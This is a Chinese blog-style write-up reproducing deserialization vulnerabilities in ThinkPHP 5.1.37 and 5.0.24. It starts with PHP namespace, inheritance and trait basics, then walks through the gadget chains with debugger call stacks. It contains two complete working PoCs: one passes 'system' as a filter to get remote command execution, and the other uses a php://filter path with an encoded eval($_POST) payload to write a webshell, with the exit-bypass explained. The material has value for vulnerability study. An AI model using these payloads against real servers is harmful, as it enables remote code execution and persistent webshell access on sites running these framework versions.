牛魔的只会一把suo,赶紧回过头来学链子
ThinkPHP的反序列化漏洞复现
基础知识速查
命名空间和子命名空间
关于命名空间和作用域:
- 命名空间是指标识符的组织范围,用于将标识符(如变量名、函数名、类名等)组织起来,避免命名冲突。
- 作用域是指标识符的可见范围,决定了变量或函数在程序中哪些地方可以被访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php namespace animal\cat; class cat {
public function __construct(){ echo "cat con"."\n"; }
}
namespace animal\dogA; class dog{ public function __construct() { echo "dogA con"."\n"; } }
namespace animal\dogB; class dog{ public function __construct() { echo "dogB con"."\n"; } }
new dog(); new \animal\dogA\dog();
use \animal\dogA; new dogA\dog();
use \animal\dogB as DB; new DB\dog();
use animal\cat\cat; new cat();
|

在上面的例子中animal
是一个命名空间,animal\cat
,animal\dogA
,animal\dogB
都是其子命名空间
类继承机制
一个简易demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class father{ public $name = "father"; private $age = 30; public $hobby = "game";
public function say(){ echo "I am father \n"; }
public function smoke(){ echo "I got smoke \n"; } }
class son extends father{ public $name = "son"; private $age = 19;
public function say(){ echo "I am son \n"; }
public function parentSay(){ parent::say(); } }
$son = new son(); $son -> say(); $son -> smoke(); $son -> parentSay(); echo $son -> hobby;
|
trait修饰符
php中,trait是一种代码复用机制,用于解决类之间代码共享的问题,又避免了单继承机制。
demo如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
trait A{ public function test(){ echo "testA\n"; } }
trait B{ public function test(){ echo "testB\n"; } }
class impl{ use A,B{ A::test insteadof B; B::test as testB; } public function __construct(){ echo "impl\n"; }
public function implTest() { $this->test(); $this->testB(); } }
$t = new impl();
$t->implTest();
|
另一个demo,关于在namespace和trait的联动使用
大致就是我在np1(file1.php)中使用np2的trait
在np2(file2.php)中调用np1中的类
file1.php
1 2 3 4 5 6 7 8 9 10
| <?php namespace np1\A; use np2\A\Hash;
class icfh{ use Hash; public function __construct(){ echo "1cfh hack now!\n"; } }
|
file2.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php namespace np2\A; require("file1.php"); use np1\A\icfh;
trait Hash{ public function __toString(){ echo "Hash toString"; return ""; } }
$a = new icfh(); echo $a;
|
可以发现trait中的魔术方法也是可以借用到类中的

TP快速入门
https://github.com/top-think/framework/releases/tag/v5.1.37
https://github.com/top-think/think/releases/tag/v5.1.37
下好后,把framework放到think的文件夹下,然后改文件夹名为thinkphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| project 应用部署目录 ├─application 应用目录(可设置) │ ├─common 公共模块目录(可更改) │ ├─index 模块目录(可更改) │ │ ├─config.php 模块配置文件 │ │ ├─common.php 模块函数文件 │ │ ├─controller 控制器目录 │ │ ├─model 模型目录 │ │ ├─view 视图目录 │ │ └─ ... 更多类库目录 │ ├─command.php 命令行工具配置文件 │ ├─common.php 应用公共(函数)文件 │ ├─config.php 应用(公共)配置文件 │ ├─database.php 数据库配置文件 │ ├─tags.php 应用行为扩展定义文件 │ └─route.php 路由配置文件 ├─extend 扩展类库目录(可定义) ├─public WEB 部署目录(对外访问目录) │ ├─static 静态资源存放目录(css,js,image) │ ├─index.php 应用入口文件 │ ├─router.php 快速测试文件 │ └─.htaccess 用于 apache 的重写 ├─runtime 应用的运行时目录(可写,可设置) ├─vendor 第三方类库目录(Composer) ├─thinkphp 框架系统目录 │ ├─lang 语言包目录 │ ├─library 框架核心类库目录 │ │ ├─think Think 类库包目录 │ │ └─traits 系统 Traits 目录 │ ├─tpl 系统模板目录 │ ├─.htaccess 用于 apache 的重写 │ ├─.travis.yml CI 定义文件 │ ├─base.php 基础定义文件 │ ├─composer.json composer 定义文件 │ ├─console.php 控制台入口文件 │ ├─convention.php 惯例配置文件 │ ├─helper.php 助手函数文件(可选) │ ├─LICENSE.txt 授权说明文件 │ ├─phpunit.xml 单元测试配置文件 │ ├─README.md README 文件 │ └─start.php 框架引导文件 ├─build.php 自动生成定义文件(参考) ├─composer.json composer 定义文件 ├─LICENSE.txt 授权说明文件 ├─README.md README 文件 ├─think 命令行入口文件
|
- 在Application下写路由,然后去注册就好了
TP反序列化漏洞调试分析
TP 5.1.X
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php namespace think;
abstract class Model{ protected $append = []; private $data = []; public function __construct() { $this->append = ["1cfh"=>[]]; $this->data = ["1cfh"=>new Request()]; } }
namespace think\process\pipes; use think\model\Pivot; class Windows{ private $files = []; public function __construct() { $this->files = [new Pivot()]; } }
namespace think\model; use think\model; class Pivot extends Model{
}
namespace think; class Request{ protected $hook = []; protected $filter; protected $config; protected $param = []; public function __construct() { $this->hook = ["visible"=>[$this,"isAjax"]]; $this->filter = 'system'; $this->config = ["var_ajax"=>'']; $this->param = ['calc.exe']; } }
use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
搓一个反序列化入口
1 2 3 4 5 6
| public function index($input) { echo "ThinkPHP5 RCE Demo:\n"; unserialize(base64_decode($input)); }
|
然后将poc.php生成的数据传入input分析
首先需要进行类加载(一开始啥都没有捏

然后poc中最外层是Windows类,其参数中的Pivot需要初始化

然后进入对象销毁流程,进入removeFiles

循环判断文件是否存在,存在则unlink,因为file_exists的参数为String
所以会调用魔术方法toString,然后调用toJson,toArray

注意此处调用的是Conversion类的toString方法,查看其代码可知Conversion为trait
且Windows中没有toString,在其父类Model中复用了Conversion的代码



所以最后调用到了Conversion的toString

这里巴拉巴拉赋值,然后会调用到一个visible函数,我们将$relation设置为Request对象

由于不存在,所以调用到_call
,这里也就流到call_user_func_array
函数
这里也是我们精心设计的Request对象


回调中调用了isAjax,这里也是很重要的一步,继续调用了Request的param方法

获取请求方法和合并请求参数

然后到input中就是获取参数,注意此处getFilter,然后进入array_walk_recursive

sink是一个白给的call_user_func,直接RCE了

调用堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| Request.php:1482, think\Request->filterValue() Request.php:1376, array_walk_recursive() Request.php:1376, think\Request->input() Request.php:961, think\Request->param() Request.php:1649, think\Request->isAjax() Request.php:331, call_user_func_array:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Request.php:331}() Request.php:331, think\Request->__call() Conversion.php:192, think\Request->visible() Conversion.php:192, think\Model->toArray() Conversion.php:224, think\Model->toJson() Conversion.php:240, think\Model->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct() Index.php:10, app\index\controller\Index->index() Container.php:395, ReflectionMethod->invokeArgs() Container.php:395, think\Container->invokeReflectMethod() Module.php:132, think\route\dispatch\Module->think\route\dispatch\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\route\dispatch\Module.php:100-135}() Middleware.php:185, call_user_func_array:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:185}() Middleware.php:185, think\Middleware->think\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:174-195}() Middleware.php:130, call_user_func:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:130}() Middleware.php:130, think\Middleware->dispatch() Module.php:137, think\route\dispatch\Module->exec() Dispatch.php:168, think\route\Dispatch->run() App.php:432, think\App->think\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\App.php:431-433}() Middleware.php:185, call_user_func_array:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:185}() Middleware.php:185, think\Middleware->think\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:174-195}() Middleware.php:130, call_user_func:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:130}() Middleware.php:130, think\Middleware->dispatch() App.php:435, think\App->run() index.php:21, {main}()
|
总体流程如图:

TP 5.0.X
tp 5.0.24
poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| <?php namespace think\process\pipes{ abstract class Pipes{
} } namespace think\process\pipes{ class Windows extends Pipes { private $files = []; public function __construct($Pivot) //这里传入的需要是Pivot的实例化对象 { $this->files = [$Pivot]; } } }
namespace think { abstract class Model{ protected $append = []; protected $error = null; protected $parent;
function __construct($output, $modelRelation) { $this->parent = $output; $this->append = array("1"=>"getError"); $this->error = $modelRelation; } } }
namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; $this->bindAttr = ['xxx']; } } }
namespace think\db { class Query { protected $model;
function __construct($model) //传入的需要是Output类的对象 { $this->model = $model; } } }
namespace think\console{ class Output{ protected $styles = ["getAttr"]; private $handle; public function __construct($handle) { $this->handle = $handle; } } }
namespace think\session\driver { class Memcached{ protected $handler; public function __construct($handler) { $this->handler = $handler; } } }
namespace think\cache\driver { class File { protected $options=null; protected $tag; public function __construct() { $this->options=[ 'expire' => 0, 'cache_subdir' => '0', 'prefix' => '0', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD89ZXZhbCgkX1BPU1RbJ3MnXSk7Pz4=/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; } } } namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne)); echo base64_encode(serialize($window)); }
|
在Index处写一个反序列化的接口
然后打入payload开始调试
一开始和5.1那条链几乎一样,只是在file_exists中判断的是Pivot类,查看定义是继承Model类,且本身没有toString
所以调用到Model的toString,然后跟到toArray
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Model.php:855, think\Model->toArray() Model.php:936, think\Model->toJson() Model.php:2267, think\Model->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct() Index.php:10, app\index\controller\Index->index() App.php:343, ReflectionMethod->invokeArgs() App.php:343, think\App::invokeMethod() App.php:611, think\App::module() App.php:456, think\App::exec() App.php:139, think\App::run() start.php:19, require() index.php:17, {main}()
|
定位到附加属性的代码段
遍历所有append
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } }
|
这里的参数为getError,直接进入else分支,获取relation,判断是否有$relation方法存在,有则调用然后getRelationData
接着判断是否有getBindAttr方法存在,有则调用且遍历结果,然后写入$item
注意此处是lazyload,与之关联的$value为Output类


直接让他走第一个分支,

Output的writeln

poc中:

跟进到File::set函数
1 2 3 4 5
| File.php:149, think\cache\driver\File->set() Memcached.php:102, think\session\driver\Memcached->write() Output.php:154, think\console\Output->write() Output.php:143, think\console\Output->writeln() Output.php:124, think\console\Output->block()
|

第一次getCacheKey
首先根据给定的name生成对应的md5
然后拼接poc中的path生成新的$filename
1
| php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD89ZXZhbCgkX1BPU1RbJ3MnXSk7Pz4=/../a.php8db7a8c80e67e908f96fbf22dde11df3.php
|
然后还有个mkdir的操作,但是实测好像没鸟用,然后就是返回$filename

判断tag参数和文件是否创建,没有则设置$first标志位
然后生成$data参数,第一次写文件,当然这个只是个幌子

还记得上面我们设置了$first参数不,这里进入if代码块然后调用了setTagItem
很微妙,这里检查了$tag
字段是否启用,有的话会重新set,而这里的$name
就是可控字段了
key为'tag_' . md5($this->tag)



所以最后的文件名就是a.php+md5('tag_' . md5($this->tag))+.php

然后到file_put_contents,这里有个死亡exit绕过,利用filter配合编码进行死亡函数销毁即可
因为base64是4字符进行编码,我们需要填充一下aaa
,使得与前面的字符刚好拼接成4的倍数,从而不会去污染我们的payload


至此webshell生成


完整的利用图:

参考
https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/#%E4%B8%80%E3%80%81%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-PHP%E4%B8%AD%E7%9A%84namespace
tp5.X的getshell:https://xz.aliyun.com/t/3570?time__1311=n4%2Bxnii%3DG%3DDQoxCTq0Ha4Io8FjIxqYvi34x
https://blog.csdn.net/m0_62422842/article/details/125810262
https://xz.aliyun.com/news/9812
https://boogipop.com/2023/03/02/%E4%B8%8D%E8%A6%81%E6%8D%89%E5%BC%84%E6%88%91%E6%96%B0%E4%BA%BA%E5%90%8C%E5%AD%A6%EF%BC%9AF/#CTFSHOW%E2%80%94%E2%80%94Web87